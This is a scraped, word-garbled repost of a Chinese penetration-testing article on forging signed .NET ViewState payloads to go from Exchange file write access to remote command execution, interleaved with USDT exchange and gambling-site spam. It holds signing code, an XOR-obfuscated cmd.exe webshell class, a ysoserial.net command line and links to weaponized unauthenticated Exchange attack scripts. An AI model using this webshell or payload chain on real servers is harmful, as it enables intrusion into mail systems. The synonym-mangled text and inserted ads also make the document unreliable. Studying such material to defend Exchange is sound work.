U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

首页科技正文

usdt自动充提教程网(www.6allbet.com):DotNet反序列化——天生ViewState的程序实现

admin2021-04-1731技术

USDT交易所

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

0x00 前言

在上篇文章《渗透技巧——从Exchange文件读写权限到下令执行》先容了通过.Net反序列化ViewState从Exchange文件读写权限到下令执行的方式,分享了三种行使剧本的开发细节,本文将要详细剖析天生ViewState的细节,先容另外一种实现从Exchange文件读写权限到下令执行的剧本开发细节。

参考资料:

http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html 

https://github.com/pwntester/ysoserial.net

0x01 简介

本文将要先容以下内容:

· 两种天生ViewState的实现方式

· 另外一种行使剧本开发的细节

· 开源代码

0x02 靠山知识

1.DotNet反序列化ViewState的实现原理

若是能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够组织出有用的序列化数据。若是将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter举行反序列化挪用委托时,就能实现远程代码执行。

2.ViewState的天生流程

使用validationkey和generator作为参数,对序列化xaml数据举行署名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容

直观明白:

data = Serialize(xaml)
ViewState = data + (data+generator).ComputeHash(validationKey)
ViewState = Base64(ViewState)

加密细节可参考:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs,L255

https://github.com/0xacb/viewgen/blob/master/viewgen,L156

详细细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数

0x03 两种天生ViewState的实现方式

测试环境:

获得了Exchange文件读写权限,能够修改和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下:

对于这两个位置的.Net反序列化下令执行,不再需要正当用户的凭证

下面先容两种天生ViewState的程序实现方式

1.从xaml数据天生ViewState

流程如下:

1. 组织xaml数据

2. 天生序列化xaml数据

3. 天生署名数据

4. 拼接序列化xaml数据和署名数据后作Base64编码

(1)组织xaml数据

这里先容4种,划分对应4个功效

执行下令:

写文件:

注:需要注重xaml的转义字符。

设置Header:

设置Response:

,

USDT交易所

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,

(2)天生序列化xaml数据

需要用到Microsoft.PowerShell.Editor.dll

(3)天生署名数据

参考代码:

byte[] validationKey= strToToHexByte(key);
uint _clientstateid = 0;
// Converting "generator" from HEX to INT
if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))
        System.Environment.Exit(0);
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
ms = new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());

注:代码修改自https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs,L253

(4)拼接序列化xaml数据和署名数据后作Base64编码

挪用Convert.ToBase64String()即可。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/XamlToViewState.cs

代码能够读取xaml文件,使用validationkey和generator盘算署名,天生最终的ViewState。

优点:流程清晰,便于调试和修改细节。

瑕玷:需要依赖中央文件Microsoft.PowerShell.Editor.dll,占用空间。

注:

该方式的完整行使文件已打包上传至github,地址如下:

https://github.com/3gstudent/test/blob/master/XamlToViewState.zip

2.从序列化xaml数据天生ViewState

借助ysoserial.net跳过从xaml数据到序列化xaml数据的环节,提高开发效率。

流程如下:

(1)修改ysoserial.net源码,直接读取可用的序列化xaml数据

在https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs,L209添加如下代码:

Console.WriteLine(payloadString);
Console.WriteLine("The content above is what we need");
Console.WriteLine("-----------");

能够在控制台输出Base64编码的序列化xaml数据。

编译ysoserial.net,天生ysoserial.exe,在同级目录新建shellPayload.cs,内容如下:

class E
{
    static string xor(string s) {
        char[] a = s.ToCharArray();
        for(int i = 0; i < a.Length; i++)
        a[i] = (char)(a[i] ^ 'x');
        return new string(a);
}
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["__Value"];
            cmd = xor(cmd);        
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();            
            output = xor(output);
            context.Response.Write(output);
        } catch (System.Exception) { }
        context.Response.Flush();
        context.Response.End();
    }
}

使用ysoserial.exe天生ViewState,下令如下:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "shellPayload.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

从输出中获得Base64编码的序列化xaml数据。

(2)盘算序列化xaml数据的署名,天生最终的ViewState数据

代码如下:

static string CreateViewState(byte[] dat,string generator,string key)
{
    MemoryStream ms = new MemoryStream();
    byte[] validationKey= strToHexByte(key);
    uint _clientstateid = 0;
    if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))
    {
        System.Environment.Exit(0);
    }
    byte[] _mackey = new byte[4];
    _mackey[0] = (byte)_clientstateid;
    _mackey[1] = (byte)(_clientstateid >> 8);
    _mackey[2] = (byte)(_clientstateid >> 16);
    _mackey[3] = (byte)(_clientstateid >> 24);
    ms = new MemoryStream();
    ms.Write(dat,0,dat.Length);
    ms.Write(_mackey,0,_mackey.Length);
    byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
    ms=new MemoryStream();
    ms.Write(dat,0,dat.Length);
    ms.Write(hash,0,hash.Length);
    return Convert.ToBase64String(ms.ToArray());
}

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SerializeXamlToViewState.cs

代码实现了从序列化xaml数据盘算署名,天生最终的ViewState数据。

优点:占用空间更小,可以直接使用ysoserial.net已有的Payload。

瑕玷:调试和修改对照穷苦。

注:以上两种实现方式的CreateViewState()函数在细节上存在区别,需要注重。

0x04 另外一种行使剧本开发的细节

用来实现从Exchange文件读写权限到下令执行。

参照https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs的结构,将序列化xaml数据封装在数组中,使用validationkey和generator作为参数,对序列化xaml数据举行署名,组成最终的ViewState内容。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.cs

代码支持两个位置的反序列化执行,划分为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx

代码首先发送ysoserial.net实现ActivitySurrogateDisableTypeCheck的数据,接着能够执行下令并获得下令执行的效果,通过POST方式以参数__Value发送数据,通讯数据接纳逐字符异或加密。

支持的功效同ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py保持一致。

0x05 小结

本文剖析了天生ViewState的细节,先容了两种天生ViewState的程序实现方式,编写代码实现了另外一种从Exchange文件读写权限到下令执行的行使剧本。

网友评论